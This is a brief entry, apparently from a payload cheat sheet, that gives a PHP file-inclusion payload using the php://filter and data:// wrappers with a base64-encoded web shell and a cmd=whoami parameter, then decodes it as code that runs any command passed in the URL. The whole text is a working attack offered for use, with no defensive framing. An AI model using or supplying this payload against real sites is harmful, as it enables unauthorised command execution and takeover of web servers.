PHP Wrapper Encoded Webshell

Command:

php://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+&cmd=whoami

The encoded payload is:

<?php system($_GET['cmd']); echo 'Shell done!'; ?>